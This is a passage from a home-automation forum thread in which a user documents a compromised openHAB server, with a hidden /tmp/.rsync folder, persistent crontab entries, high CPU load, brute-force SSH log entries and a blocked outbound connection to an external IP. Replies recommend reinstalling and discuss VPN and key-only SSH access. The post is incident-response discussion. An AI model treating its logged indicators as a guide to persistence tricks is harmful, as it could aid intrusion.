My personal openHAB server infrastructure hacked

Setup, Configuration and Use Installation
21

Yes but that’s not the rsync command. That is some hidden folder in /tmp named .rsync. They just named it .rsync to fool you, or they are running some rsync process for it’s own nefarious purposes. I run samba on a couple of machines and there is no /tmp/.rsync folder and there are no entries in the root crontab.

This definitely points to either a virus or signs of compromise. I searched for the command in the crontavb and found a number of posts talking about it. This Reddit thread seemed to have the best advice.

It could be fun to research this and figure out what it’s doing and how it works, but ultimately you can never ever trust this machine again. You should trash the drive and start afresh. If you are very paranoid, switch SD cards/hard drive. But there is some benefit in researching this so you can figure out how it got on your machine. If openHAB users are being targeted it could help us figure out how to protect ourselves.

22

Dear all

I found a further one. mentioned crontab entries in this Thread, were found in crontab of openhab user.

I will further dig into this. I wonder what is next to be found.
Worth to mention is also that, I found my system using unusual high CPU load od 100% more ore less constantly. The same is reported in other threads regarding this subject.

Update:
while still analysing I found that fail2ban was continue to report:

2019-07-31 09:20:49,286 fail2ban.filter         [1105]: INFO    [sshd] Ignore 127.0.0.1 by ip
2019-07-31 09:20:49,293 fail2ban.filter         [1105]: INFO    [sshd] Ignore 127.0.0.1 by ip
2019-07-31 09:20:51,447 fail2ban.filter         [1105]: INFO    [sshd] Ignore 127.0.0.1 by ip

Also I found following suspect auth.log:

Jul 29 19:47:56 sshd[19184]: pam_unix(sshd:auth): check pass; user unknown
Jul 29 19:47:56 sshd[19184]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=127.0.0.1
Jul 29 19:47:59 sshd[19184]: Failed password for invalid user administrator from 127.0.0.1 port 42286 ssh2
Jul 29 19:49:02 su[19068]: pam_unix(su:session): session closed for user openhab
Jul 29 20:03:14 sshd[20404]: Invalid user test from 127.0.0.1 port 42940
Jul 29 20:03:14 sshd[20404]: input_userauth_request: invalid user test [preauth]
Jul 29 20:03:14 sshd[20404]: pam_unix(sshd:auth): check pass; user unknown
Jul 29 20:03:14 sshd[20404]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=127.0.0.1
Jul 29 20:03:15 sshd[20404]: Failed password for invalid user test from 127.0.0.1 port 42940 ssh2

mail.log: Exim ?? I never used it.

Jul 28 00:07:05 exim[32411]: 2019-07-28 00:07:05 1hrUqH-0008Ql-AE <= root@orlando.homeland U=root P=local S=679
Jul 28 00:07:05 exim[32411]: 2019-07-28 00:07:05 1hrUqH-0008Ql-AE Cannot open main log file "/var/log/exim4/mainlog": Permission denied: euid=106 egid=114
Jul 28 00:07:05 exim[32411]: exim: could not open panic log - aborting: see message(s) above
Jul 31 09:06:09 exim[1497]: 2019-07-31 09:06:09 exim 4.89 daemon started: pid=1497, -q30m, listening for SMTP on [127.0.0.1]:25 [::1]:25
Jul 31 09:06:09 exim[1497]: 2019-07-31 09:06:09 Cannot open main log file "/var/log/exim4/mainlog": Permission denied: euid=106 egid=114
Jul 31 09:06:09 exim[1497]: exim: could not open panic log - aborting: see message(s) above
Jul 31 09:27:15 exim[1385]: 2019-07-31 09:27:15 exim 4.89 daemon started: pid=1385, -q30m, listening for SMTP on [127.0.0.1]:25 [::1]:25
Jul 31 09:27:15 exim[1385]: 2019-07-31 09:27:15 Cannot open main log file "/var/log/exim4/mainlog": Permission denied: euid=106 egid=114
Jul 31 09:27:15 exim[1385]: exim: could not open panic log - aborting: see message(s) above

What crap is that…
But after I removed all suspect crontab entries there were no more reports about such susbect entries found and in fact the last try of outbound ssh connection was reported at 09:20

Jul 31 09:20:32 kernel: [ 944.973810] [UFW BLOCK] IN= OUT=eth0 SRC=192.168.223.200 DST=5.255.86.129 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=30613 DF PROTO=TCP SPT=49442 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0

tcpdump is still running, but nothing reported so far.

CPU usage is back to normal (1% to 5%)

After some more research I found the entry on trendmicro that is pretty much what I’ve got here.

Cheers
Stefan

23

In addition, since myopenhab.org code is opensource too. You could get your own cloud vps, not expose anything to it other than the myopenhab code and abstract again.

24

Overall thought here (being a server admin as my day job)

The box has been compromised. Take your openhab configs and do a fresh install. If it’s a VM, hopefully you have a backup, remove the external access and restore from backup. If you don’t think the backups are clean, restore with no nics active. I would not advise trying to clean it up.

  • my less than 2 cents lol
1 Like
25

Dear Jason

I will definitely do so (as soon as i have time for).

Cheers

26

I’d strongly recommend turning off the machine until it can be refreshed.

1 Like
27

Also, use geo IP filtering to block all connections from countries in which you do not need to connect from. I use free pfsense firewall and drastically reduced attacks by only allowing USA or North American with pfsense Geo-IP blocking.

1 Like
28

Opening up your openhab instance to internet is never a good idea.
You have not followed general guide lines for setting up something somewhat secured.

Use VPN (openvpn, wireguard etc) and only allow connections to your openhab instance from the local network.

If you expose ssh to the outside world I would:

  1. Use a non standard port (I know you did this)
  2. Use a non standard username, and only allow that username to connect
  3. Use a key-file rather then a password to connect (configure ssh to not accept passwords)
  4. Use geo-ip blocking, be restrictive.

Regards S

29

+1! :smiley:

I been using KeePass for years, and sync it across devices via syncthing. Version 2 somehow allows you to simultaneously edit your database from different locations and then automatically reconcile the differences(!). It’s a really nice piece of software, and native clients available for every platform you can think of.

30

Another really nice piece of kit, that I also use!

(sorry for double post)

31

for this type of exposure i would not recommend to allow any passwords at all. Personal keys are way more secure than this.
Which brings us back to proper key-key VPN connection to your home and then work as you are at home.

harder to set but way safer

1 Like
32

Gents and ladies

to those who use a VPN to connect, what would you actually suggest? Or what are you using?

I actually had a look at ExpressVPN, NordVPN and also OpenVPN, but I’m really not sure what to go for.

Cheers
Stefan

33

depends on your infrastructure.
if you are using router which is flashed with openwrt or something like that, openvpn is way to go
if you have something else, depends on how much time and effort you wanna put into it

I’m using openvpn and key-key on each device i want to have to be able to connect. phone, notebook, tablet each one has got own key which i can invalidate anytime and as well I do have forbidden password login for obvious reasons. :wink:

34

I’m not sure a third party VPN service is what you are really looking for. Services like ExpressVPN and NordVPN are set up to hide your network traffic from your ISP, get around geoblocks, and stuff like that. They really are not designed to give you access to your LAN remotely and I’m not even certain they make that even possible.

I’ve used LogMeIn’s Hamachi in the past and was reasonably happy with it. I don’t know if they have a phone client though. I now have a pfSense firewall which supports OpenVPN so I’ve set up my personal VPN that way. I also use certificate only login and password protect the certificates so the clients need to enter a password to access the cert as well.

It is usually quite a pain to set up OpenVPN by hand but firewalls and firmwares like DD-WRT, Tomato, pfSense, Untangled, etc. usually have wizards and forms that make setting it up pretty easy.

WireGuard is a new up and coming alternative to OpenVPN that is supposed to be faster and easier to set up, but it’s still pre-release and doesn’t have great universal support yet.

35

You may want to check out pivpn. I haven’t actually installed it yet, but it looks promising. It’s on my ever extending todo list :wink:

36

not a all
and as i mentioned, some routers have it built in

1 Like
37

I’ve done it many times. Figuring out what all the parameters mean in the server and client config file is not fun. https://openvpn.net/community-resources/reference-manual-for-openvpn-2-4/ 500 command line options. The official tutorial is 25 pages long when printed How To Guide: Set Up & Configure OpenVPN Client/server VPN | OpenVPN not including all the links you need to go to in order to understand the decisions you are making. For example:

See FAQ for an overview of Routing vs. Ethernet Bridging. See also the OpenVPN Ethernet Bridging page for more notes and details on bridging.

Then you have issues where it just doesn’t work or it works strangely (e.g. I can connect while on my LAN but it initially connects but then times out before authentication when connecting remotely). There are so many miss-configured options that can cause this that it can take forever and lots of trial and error to figure out the cause.

If that’s not a pain I don’t know what is.

As I mentioned and recommended as well.

38

@rlkoshak, @kriznik, @marcel_erkel

Thank you guys for the suggestions. I will definitely need more time to plan the whole thing. And even more to bring it into a running state.

Cheers
Stefan

39

No … there is a very Simple Solution for a Raspberry PI :slight_smile:

http://www.pivpn.io

40

Which is not setting up OpenVPN by hand.

When I say setting it up by hand I mean opening openvpn.conf and manually editing the configuration.

I have not recommended against using OpenVPN entirely. I have and will continue to recommend using tools like pivpn, or the wizards built into pfSense, DD-WRT, et al to set it up.

1 Like